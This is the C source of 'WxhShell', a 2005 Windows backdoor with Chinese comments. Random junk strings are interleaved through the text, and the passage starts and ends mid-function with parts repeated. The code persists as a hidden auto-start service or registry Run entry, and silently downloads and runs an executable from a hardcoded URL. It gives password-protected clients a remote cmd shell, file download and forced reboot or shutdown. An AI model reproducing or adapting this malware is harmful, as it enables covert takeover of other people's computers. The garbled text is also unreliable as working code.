#QcRN?s PROCESS_BASIC_INFORMATION pbi; GRofOJ 2&]LZ:( HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); MXEI/mDYK if(NULL == hInst ) return 0; T=sAy/1oR `T1bY9O. g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); 1HAnOy0 g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); =v<A&4 NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 0QfDg DX -Hw3rv3o if (!NtQueryInformationProcess) return 0; gdqBT]j vV9vB3K5? hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); EH M 59s|B if(!hProcess) return 0; }#4Ek8nFR cjg~?R if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; <~w 3[i=
6P>}7R} CloseHandle(hProcess); =0PGE#d{t
w >2G@ hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); I"3C/ pU2 if(hProcess==NULL) return 0; NR8`nc1~ P3=#<Q. HMODULE hMod; lP]Y^Gz char procName[255]; G'w!Aw s unsigned long cbNeeded; I''n1v?N 3)?WSOsL: if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); |V{ Q vp!F6ZwO CloseHandle(hProcess); +'olC^?5 } )YAU|sCAi$ if(strstr(procName,"services")) return 1; // 以服务启动 h2Th)&Fb> !'BXc%`x[ return 0; // 注册表启动 O
j:I @c } X9FO"(J tH
*| // 主模块 vbtZ5Gm int StartWxhshell(LPSTR lpCmdLine) S|LY U!IWZ { 5%fWX'mS SOCKET wsl; _JNYvngm BOOL val=TRUE; r`EjD}2d int port=0; >s"/uo struct sockaddr_in door; &zEBfr =GF=_Ac if(wscfg.ws_autoins) Install(); h:?qd ?(K=du port=atoi(lpCmdLine); y6[ le*T +5Dc5Bl if(port<=0) port=wscfg.ws_port; Y0EX{oxt1 aL+>XN WSADATA data; 9"gu> if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; m0v.[61 M
| "'`zc if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; q6nRk~ setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); >.K%W*t door.sin_family = AF_INET; P\6:euI door.sin_addr.s_addr = inet_addr("127.0.0.1"); a9{NAyl<oo door.sin_port = htons(port); W,CAg7:* ' F9gp!s8~ if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { &<uLr
*+* closesocket(wsl); 8uH8) return 1; J!5b~8`v } .7b%7dQ<\ =4SXntU!e if(listen(wsl,2) == INVALID_SOCKET) { 9609 closesocket(wsl); DQXcf*R return 1; Ny$3$5/ } S1y6G/e9 Wxhshell(wsl); /Qr`au WSACleanup(); I{[Z
.43cI( return 0; Gbclu.4 .o/uA } HZWt>f ~ *"iLf@, // 以NT服务方式启动 =QtFJ9\ VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) `\\s%}vZ*T { qA`@~\qh" DWORD status = 0; gSw<C+ DWORD specificError = 0xfffffff; zixG}' KT<$E!@ serviceStatus.dwServiceType = SERVICE_WIN32; h{ix$Xn~ serviceStatus.dwCurrentState = SERVICE_START_PENDING; @d 7V@F0d serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; C<(oaeQY serviceStatus.dwWin32ExitCode = 0; Fih
pp< serviceStatus.dwServiceSpecificExitCode = 0; Ow4(1eE_ serviceStatus.dwCheckPoint = 0; Gvh"3|u?z serviceStatus.dwWaitHint = 0; 4E=v)C' T9Juq6| hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); $S?gQN.e if (hServiceStatusHandle==0) return; L_vl%ii- m=^]93+ status = GetLastError(); rg >2tgA if (status!=NO_ERROR) kln)7SzPuk { Bh cp=# serviceStatus.dwCurrentState = SERVICE_STOPPED; ZnI15bsDx serviceStatus.dwCheckPoint = 0; id5`YA$ serviceStatus.dwWaitHint = 0; P,'%$DLDg serviceStatus.dwWin32ExitCode = status; _\tv ${ serviceStatus.dwServiceSpecificExitCode = specificError; (,QWK08 SetServiceStatus(hServiceStatusHandle, &serviceStatus); !\BZ_guz return; 1@KiP`DA } zEW+1-=)+7 JOt(r}gU serviceStatus.dwCurrentState = SERVICE_RUNNING; Y01!D"{\ serviceStatus.dwCheckPoint = 0; e]88 4FP serviceStatus.dwWaitHint = 0; O |P<s+ if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); G(#t,}S}@ } C7NSmZ At=d//5FFP // 处理NT服务事件,比如:启动、停止 H#;*kc
a4 VOID WINAPI NTServiceHandler(DWORD fdwControl) GK'p$`oJm { LPJ7V`!k switch(fdwControl) b=:u d[h { FV
"pJ case SERVICE_CONTROL_STOP: 4FRi=d;mP serviceStatus.dwWin32ExitCode = 0; ~,1Sw7rE serviceStatus.dwCurrentState = SERVICE_STOPPED; R`a~8QVh&5 serviceStatus.dwCheckPoint = 0; ([<HFc` serviceStatus.dwWaitHint = 0; QtKcv7:4 { x$BNFb%I1 SetServiceStatus(hServiceStatusHandle, &serviceStatus); jUA~}DVD } -W('^v_* return; 5{V"!M+< case SERVICE_CONTROL_PAUSE: ;j1E 6 serviceStatus.dwCurrentState = SERVICE_PAUSED; `<se&IZE break; KU` *LB: case SERVICE_CONTROL_CONTINUE: T&]-p:mg^ serviceStatus.dwCurrentState = SERVICE_RUNNING; ~i%=1&K&` break; QWfSm^
t case SERVICE_CONTROL_INTERROGATE: {P~rf&Ee break; >rEZ$h }; naf ~#==vc SetServiceStatus(hServiceStatusHandle, &serviceStatus); ySO\9#Ho } #lvt4a"P" _(h=@cv // 标准应用程序主函数 5qQMGN$K int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) vQi=13Pw { N?vb^? 5<ruN11G // 获取操作系统版本 k B]`py! OsIsNt=GetOsVer(); L7 }nmP>aR GetModuleFileName(NULL,ExeFile,MAX_PATH); ; o_0~l=-/ /ie&uWy // 从命令行安装 ~ `qWEu if(strpbrk(lpCmdLine,"iI")) Install(); L@(. i nI6ompTX // 下载执行文件 TxG@#" ^g} if(wscfg.ws_downexe) { e~lFjr] if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) }BlyEcw'aN WinExec(wscfg.ws_filenam,SW_HIDE); r4*H96l } $Xlr@)% !X-\;3kC0 if(!OsIsNt) { C'$}{%Cc@$ // 如果时win9x,隐藏进程并且设置为注册表启动
J3
Q_ HideProc(); kMch StartWxhshell(lpCmdLine); )f:i4.M }
FJ~d&L\l else /y-D_ if(StartFromService()) I{(!h90 // 以服务方式启动 `~u=[}w StartServiceCtrlDispatcher(DispatchTable); cHF W"g78 else )>FAtE // 普通方式启动 ~-7/9$ay5 StartWxhshell(lpCmdLine); Ex
p?x {\1bWr8!U return 0; =exCpW> } e*}zl>f Ie^Ed` 'D5J5+.z :zKW[sF =========================================== 1}=D [6mK<A,/ rueaP "{D/a7]lC JL87a^ro J2VPOn " ;`7~Q h76j|1gI #include <stdio.h> 9t\14tVwx #include <string.h> *%;A85V/ #include <windows.h> "t4z)j; #include <winsock2.h> Cst1nGPL #include <winsvc.h> |cY HH$ #include <urlmon.h> %;:![?M
.2JZ7 #pragma comment (lib, "Ws2_32.lib") }NC$Ce #pragma comment (lib, "urlmon.lib") cDz@3So.b n?r8ZDJ' #define MAX_USER 100 // 最大客户端连接数 pwfQqPC#_ #define BUF_SOCK 200 // sock buffer }5vKQf #define KEY_BUFF 255 // 输入 buffer *J[P#y vm+3!s:u #define REBOOT 0 // 重启 C<^i`[&P$ #define SHUTDOWN 1 // 关机 mnM]@8^G PM[W7gT #define DEF_PORT 5000 // 监听端口 j? BL8E' Q*#Lr4cm{ #define REG_LEN 16 // 注册表键长度 ON\bD?(VY #define SVC_LEN 80 // NT服务名长度 $EFS_*<X ek]JzD~w$ // 从dll定义API C:Rs~@tl
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); I20~bW typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); 1M??@@X typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); G)<B7-72; typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); @QmN= X5 i`F5 // wxhshell配置信息 ZiuD0#"! struct WSCFG { C%yH}T\s int ws_port; // 监听端口 - nNKUt.I char ws_passstr[REG_LEN]; // 口令 @3c'4O
int ws_autoins; // 安装标记, 1=yes 0=no 5CK\Z'c~! char ws_regname[REG_LEN]; // 注册表键名 md{nHX& char ws_svcname[REG_LEN]; // 服务名 K@1gK<,a char ws_svcdisp[SVC_LEN]; // 服务显示名 -rcEG! char ws_svcdesc[SVC_LEN]; // 服务描述信息 E6~VHQa2? char ws_passmsg[SVC_LEN]; // 密码输入提示信息 }~@/r5Zl int ws_downexe; // 下载执行标记, 1=yes 0=no Lf%3-P char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" n^[a}DX0 char ws_filenam[SVC_LEN]; // 下载后保存的文件名 V"4L=[le }V]b4t }; rwj+N%N >WLX5i& // default Wxhshell configuration NHyUHFY struct WSCFG wscfg={DEF_PORT, y60aJ)rAX "xuhuanlingzhe", Iz+%wAZ|B6 1, O/#3QK "Wxhshell", 9~~NxWY%x "Wxhshell", 1<m`38' "WxhShell Service", L-?ty@-i "Wrsky Windows CmdShell Service", x*z[(0g! "Please Input Your Password: ", *Ze0V9$' 1, )KFxtM- "http://www.wrsky.com/wxhshell.exe", tjThQ "Wxhshell.exe" V6dq8Z"h }; Fj<*!J$, l3b=8yn. // 消息定义模块 h!SsIy( char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; u
$-&Im< char *msg_ws_prompt="\n\r? for help\n\r#>"; 2EM6k|l5 char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; ldTXW(^j char *msg_ws_ext="\n\rExit."; _0Ea 3K char *msg_ws_end="\n\rQuit."; O)&W0`VY char *msg_ws_boot="\n\rReboot..."; AAa7)^R char *msg_ws_poff="\n\rShutdown..."; vcQl0+& char *msg_ws_down="\n\rSave to "; y_L8i[ yrEh5v: char *msg_ws_err="\n\rErr!"; }@6Ze$> char *msg_ws_ok="\n\rOK!"; QD%xmP 26aDPTP $< char ExeFile[MAX_PATH]; YNV,
dKB int nUser = 0; &'^.>TJ\ HANDLE handles[MAX_USER]; )@DDs(q=i int OsIsNt; =!SV;^-q 1]''@oh{6U SERVICE_STATUS serviceStatus; Ld.9.d] SERVICE_STATUS_HANDLE hServiceStatusHandle; nQV0I"f]?] $#f_p-N // 函数声明 1#3|PA#> int Install(void); wyX3qH int Uninstall(void); w3q'n% int DownloadFile(char *sURL, SOCKET wsh); mTu>S int Boot(int flag); 9+9g (6 void HideProc(void); yOz6a :r int GetOsVer(void); '8)kFR^9 int Wxhshell(SOCKET wsl); 8'@5X-nD void TalkWithClient(void *cs); 15J"iN2"W int CmdShell(SOCKET sock); Y910\h@V int StartFromService(void); yH"i5L9 int StartWxhshell(LPSTR lpCmdLine); Szt2 "AR $$ *tK8# VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); u_NLgM7* VOID WINAPI NTServiceHandler( DWORD fdwControl ); &=)O:Jfa q
n-f&R // 数据结构和表定义 e
bpt/q[ SERVICE_TABLE_ENTRY DispatchTable[] = oQ-m { "[7-1} l {wscfg.ws_svcname, NTServiceMain}, mmJnE {NULL, NULL} %2dzx[s }; u3qxG3 ;8PO}{rD // 自我安装 giu{,gS0?M int Install(void) E`_T_O=P { B /uaRi% char svExeFile[MAX_PATH]; %C`P7&8m=O HKEY key; N,lr~6) strcpy(svExeFile,ExeFile); C[%Qg=< 55s5(]`d // 如果是win9x系统,修改注册表设为自启动 P]n0L4c if(!OsIsNt) { 0fX` >-X if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { P6kDtUXF RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); h=`$ec RegCloseKey(key); kP$E+L if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ',g%L_8Sq RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); o3+s.7 " RegCloseKey(key); rP]|`*B return 0; _D}3`` } 4o M~ } Lqxhy s } vrb@::sy0T else { v\|jkzR5Y `w#VYs|k // 如果是NT以上系统,安装为系统服务 TO89;O SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); \{ | GK if (schSCManager!=0)
0<v5_pB { eb`3'&zV&) SC_HANDLE schService = CreateService &c!6e<o[p ( vC>2%Zgf- schSCManager, W7A!QS wscfg.ws_svcname, Ox#vW6;) wscfg.ws_svcdisp, G7CkP SERVICE_ALL_ACCESS, U&6A)SW,k SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , (${:5W SERVICE_AUTO_START, ,Tar?&C: SERVICE_ERROR_NORMAL, py7Zh%k svExeFile, n.c0G` NULL, eik_w(xPT NULL, tnUfi8\ob NULL, wbF`wi? NULL, er24}G8 NULL gmH`XKi\ ); |Q)mBvvN if (schService!=0) 6M&ajl`o { |U1 [R\X CloseServiceHandle(schService); "{~FEx4 CloseServiceHandle(schSCManager); ]cP%d-x} strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); zAM9%W2v_ strcat(svExeFile,wscfg.ws_svcname); @~s5 {4 if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { dakHH@Q RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); ;UgwV/d RegCloseKey(key); @k;65'"Q return 0; VD&wO'U } Drtg7v{@\ } OKm,iIp] CloseServiceHandle(schSCManager); ?bM%#x{e } Uf+y$n- } : 8>zo bC+ZR{M return 1; #!z-)[S.+ } e0y.J
Hy:x.'i // 自我卸载 $+J39%Y!^ int Uninstall(void) /9kxDbj { XdThl HKEY key; 7#+Ih-&EQ ~Yc~_)hD if(!OsIsNt) { % t,42jQ9 if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ^A&{g.0 RegDeleteValue(key,wscfg.ws_regname); (*r2bm2FPO RegCloseKey(key); ]T/%Bau if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { yLLA:5Q1 RegDeleteValue(key,wscfg.ws_regname); U@).jpN RegCloseKey(key); _Zav Y<6 return 0; H0inU+Ih } |)To 0Z } MkFWZ9c3 } 3HXeBW else { V<|N}8{Z2a pSC{0Y$g SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); ~rO&Y{aG# if (schSCManager!=0) r6\g#} { DZL(G [ SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); i7T#WfF if (schService!=0) }2 S!;swg+ { 6!0NFP~b if(DeleteService(schService)!=0) { _YR#J%xa CloseServiceHandle(schService); eD7\ ,}O CloseServiceHandle(schSCManager); KL?<lp" return 0; |0Fo{ } 8*&-u +@% CloseServiceHandle(schService); B /3~[ ' } }N-UlL( CloseServiceHandle(schSCManager); XelFGT E } W20- oZ8 } XOqHzft h6 0y<9JvN$9 return 1; 9Oj b~ } ,9^ 5 4N=,9 // 从指定url下载文件 4d@0v n{ int DownloadFile(char *sURL, SOCKET wsh) M6MxY\uM { mQ}\ptdfV HRESULT hr; Eyf17 char seps[]= "/"; GB `n char *token; } -4p8Zt char *file; z|AknEE, char myURL[MAX_PATH]; &/uakkS char myFILE[MAX_PATH]; U[;ECw@ bZWR.</ strcpy(myURL,sURL); 9{nU\am!\ token=strtok(myURL,seps); _6.@^\; while(token!=NULL) Bz,D4E$ { p=[dt file=token; 7Y~5gn token=strtok(NULL,seps); u*iqwm. } b *|?7 |1ry*~ GetCurrentDirectory(MAX_PATH,myFILE); (*eX'^Q)d strcat(myFILE, "\\"); rA<J^dX=C strcat(myFILE, file); :FSg%IUX send(wsh,myFILE,strlen(myFILE),0); :W&klUU" send(wsh,"...",3,0); GPAC0K^p hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); vr47PM2al if(hr==S_OK) (.oDxs()I return 0; w0js_P-uv else gHUW1E return 1; >@4Ds"Ye"O 056yhB } n$j B"1 i)@vHh82 // 系统电源模块 /-<]v3J int Boot(int flag) ;/m>c{ { WR.7%U'; HANDLE hToken; Zq1> M'V; TOKEN_PRIVILEGES tkp; UBM8l .O~rAu*K if(OsIsNt) { b,HXD~= OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); 7 je1vNs LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); c?xeBC1- tkp.PrivilegeCount = 1; $a\X(okx tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 4byh,t AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); w\t if(flag==REBOOT) { .*FlB>1jy if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) h;K9}w return 0; :1iXBG\ } <9=RLENmY" else { .
VI
# if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) Jl"DMUy[kW return 0; t@cBuV`9c } :i?c } Qw%0<~< else { Z#%77!3 if(flag==REBOOT) { )Knsy if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) 8v;T_VN return 0; IfRrl/!nw } %ULd_ES^ else { "J
>,
Hr9 if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) &:+_{nc, return 0; Z.>?Dt } !})3Fb } I$i1o#H Pt;\]?LVrD return 1; ~ C_2D? } g=v[@{9Pw f'Xz4; // win9x进程隐藏模块 ^n]?!BdU void HideProc(void) 78b9Sdi& { MT&q~jx* \v9<L'NP) HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); e8]mdU{) if ( hKernel != NULL ) H~*[v" { KRcg pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); f;ycQc@f ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); T?5F0WKi FreeLibrary(hKernel); `+r5I5 } ',RR*{I +n`^W( return; yFP#z5G } P|)SXR Sag\wKV8 // 获取操作系统版本 ;#"`]khd int GetOsVer(void) Xg"Mjmr { LyXABQ] OSVERSIONINFO winfo; 1hp@.Fv winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); GHWpL\A{8` GetVersionEx(&winfo); M9S[{Jj* if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) `V0]t_*D return 1; -3b0;L&4>x else lu.2ZQE return 0; Ki@8 } Ix5yQgnB}j C[$<7Mi|; // 客户端句柄模块 l}c<eEfOy" int Wxhshell(SOCKET wsl) `wG&Cy]v { %nc+VL4 SOCKET wsh; g(;ejKSR struct sockaddr_in client; N=L
urXv DWORD myID; }mJ)gK5b 6 B "}GAk}V while(nUser<MAX_USER) I`KN8ll { tbk9N( R int nSize=sizeof(client); 8@Km@o]? wsh=accept(wsl,(struct sockaddr *)&client,&nSize); J5rR?[i{ if(wsh==INVALID_SOCKET) return 1; WCWBvw4&"{ bm7$D Kp# handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); r*3XM{bZ/@ if(handles[nUser]==0) 'XQv> J closesocket(wsh); A><%"9pZ else ~E`A, nUser++; AAl`bhx'n } "ChBcxvxb: WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); en~(XE1 'Ph;:EMj return 0; C"mb-n7s } #QDV_ziE5 Pr/&p0@aV // 关闭 socket CC87<>V void CloseIt(SOCKET wsh)
nocH~bAf2 { !kKKJ~,; closesocket(wsh); )DLK<10 nUser--; y! 1NS ExitThread(0); P?uKDON } V+K.'
J
^@ YvHn~gNPhs // 客户端请求句柄 +yea}uUE void TalkWithClient(void *cs) Rx<pV_|H, { ?x/L"h&Kp ]ogy`O > SOCKET wsh=(SOCKET)cs; F^~#D, \ char pwd[SVC_LEN]; Cw2+@7?| char cmd[KEY_BUFF]; q
B2#EsZ char chr[1]; ( jyJ-qe int i,j; MR6vr.~ U)o8Tr while (nUser < MAX_USER) { 4'8.f5 jH G(d$h if(wscfg.ws_passstr) { aH#|LrdJ if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); |ZKchd8Yq //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); J)[(4R> //ZeroMemory(pwd,KEY_BUFF); ozo8 Tr i=0; 6u7HO-aa while(i<SVC_LEN) { #sHP\|rA WL~`L!_. A // 设置超时 DpR%s",Q fd_set FdRead; 8ksDXf`. struct timeval TimeOut; V!=]a^]: FD_ZERO(&FdRead); \ d;Ow8%d/ FD_SET(wsh,&FdRead); LMDa68 s TimeOut.tv_sec=8; yI;Qb7|^ TimeOut.tv_usec=0; )G|UB8] int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); MLb\:Ihy if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); G j:| \dMsv1\ if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); [)=FZF6kG pwd=chr[0]; P$QfcJq&c* if(chr[0]==0xd || chr[0]==0xa) { 3WVHI$A9 pwd=0; O#|E7; break; &pAT } S {H8}m|MW i++; w{qYP } 5f5`7uVJF yiU dUw/ // 如果是非法用户,关闭 socket uQNoIy J) if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); dA~6{*) } h 2zCX y%y#Pb| send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); q.t5L=l^
r send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); / u{r5`4
M>#{~zr while(1) { nNKL{Hp :U>
oW97l ZeroMemory(cmd,KEY_BUFF); XDGZqkt 1 &<@(S< // 自动支持客户端 telnet标准 VQ;=-95P j=0; _V?Q4}7d/ while(j<KEY_BUFF) { (
FRf.mv{ if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 1XKk~G"D cmd[j]=chr[0]; Sm,$~~iq} if(chr[0]==0xa || chr[0]==0xd) { }R x%&29& cmd[j]=0; 9+']`=a: break; z=U!D `]v } fYi!Z/Ck2 j++; )qIK7; } H6eGLg={ CAA~VEUL // 下载文件 L5W>in5( if(strstr(cmd,"http://")) { $9~1s/(' send(wsh,msg_ws_down,strlen(msg_ws_down),0); XTJ>y@ if(DownloadFile(cmd,wsh)) vX\e*
v send(wsh,msg_ws_err,strlen(msg_ws_err),0); m @%|Q; else wMoAvA_oS send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); bW]+Og } Ah`dt8t else { ZIp=JR8o$ ._Xtb,p{ switch(cmd[0]) { :Eyv= = :S12=sFl$ // 帮助 'Ap5Aq case '?': { \YS?}! 0 send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); a5M>1&j/eC break; <GN?J.B } De_</1Au!2 // 安装 8rYK~Sz case 'i': { %-Z~f~<? if(Install()) w$4Lu"N: send(wsh,msg_ws_err,strlen(msg_ws_err),0); ULjzhy+(8 else jHCKV send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); |_*$+ break; F e.*O` }
P+0xi // 卸载 pg)g&ifKl case 'r': { s_LSsyqo if(Uninstall()) >``GDjcJ send(wsh,msg_ws_err,strlen(msg_ws_err),0); ,GIqRT4K else |Y11sDa9h send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ]r6bJ2 break; vNbA/sM } mtHz6+ // 显示 wxhshell 所在路径 "_j7kYAl case 'p': { v_0!uT5~NE char svExeFile[MAX_PATH]; ay4xOwcR strcpy(svExeFile,"\n\r"); r
`dU
(T! strcat(svExeFile,ExeFile); -huZnDN send(wsh,svExeFile,strlen(svExeFile),0); *
U4:K@y break; sBnPS[Oo } *lAdS]I // 重启 <*(R+to^d case 'b': { 3~ZVAg[c send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); lv*uXg.k^ if(Boot(REBOOT)) H)Ge#=;ckQ send(wsh,msg_ws_err,strlen(msg_ws_err),0); P;&p[[7 else { N~jQ!y closesocket(wsh); .<%M8rcj ExitThread(0); ud D[hPJd } 59J9V3na break; UAZ&*{MM^ } ,IE0+!I // 关机 ,v_r$kh^ case 'd': { /g''-yT7# send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); ASw|sw if(Boot(SHUTDOWN)) Zd ,= send(wsh,msg_ws_err,strlen(msg_ws_err),0); V bOLTc else { {2^@jD closesocket(wsh); 9AzGk=^
ExitThread(0); ,r;d { } VYo;[ue([ break; .~
lt+M9 } wf%Ep#^6} // 获取shell A>A'dQ69 case 's': { >r3< O=Z7 CmdShell(wsh); d|RmU/) closesocket(wsh); |LE++t*X~ ExitThread(0); GQq'~Lr5 break; e622{dfVS } v^fOT5\ // 退出 1o 78e2B case 'x': { :0/o?'s send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); mp3_n:R? CloseIt(wsh); x)ZH;) break; }Xv1KX' } 1iL
xXd // 离开 a&Du5(r;! case 'q': { XF$]KAL0 send(wsh,msg_ws_end,strlen(msg_ws_end),0); z %E!tB2o closesocket(wsh); *%'7~58ObS WSACleanup(); G!%XQ\a! exit(1); v:1Vli. break; 9mphj)`d;# } _C=[bI@ } >0#q!H,X } Z3>3&|& _)2TLA
n3 // 提示信息 E=lfg8yb: if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); b2%bgs } ]},Q`n>$ } y7EX& 1e&b;l'*= return; ![ID0}MjJ } 14!a)Ijl 9k[},MM // shell模块句柄 @i-@mxk6< int CmdShell(SOCKET sock) =2]rA { VQjFEJ STARTUPINFO si; l!V| T? ZeroMemory(&si,sizeof(si)); 1'm`SRX#e si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; {<4?o?
1g si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 6@;L$QYY-V PROCESS_INFORMATION ProcessInfo; _|wY[YJ[ char cmdline[]="cmd"; x~Ly$A2p CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); Z)T@`B6
return 0; } %CbZ/7& } T-2p`b}hW o\;"|O} // 自身启动模式 N<"6=z@w+ int StartFromService(void) RdvTtXg { 6ri?y=-c typedef struct X3L[y\ { }6,bq`MN DWORD ExitStatus; lWw!+[<:q1 DWORD PebBaseAddress; u m2s^G DWORD AffinityMask; JX$NEq( DWORD BasePriority; (g2r\hI ULONG UniqueProcessId; @3TkD_B& ULONG InheritedFromUniqueProcessId; XAxI?y[c } PROCESS_BASIC_INFORMATION; `m; "I Q[Sd PROCNTQSIP NtQueryInformationProcess; s5aOAyb*w (VPM>ndkw static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; K(KP3Q static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; 5J\|gZQF ;@YF}%!+W HANDLE hProcess; xgqv2s>L PROCESS_BASIC_INFORMATION pbi; uQtk|)T E <bXWkj HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); S]%U] if(NULL == hInst ) return 0; Dw/Gha/ \R>5F\ 0 g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); DEp%\sj? g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); mc=!X NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); .Jat^iFj0 Q()RO*9 if (!NtQueryInformationProcess) return 0; -1r &s ji)4WG/1 hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); 2DCcGKa" if(!hProcess) return 0; o- QG&
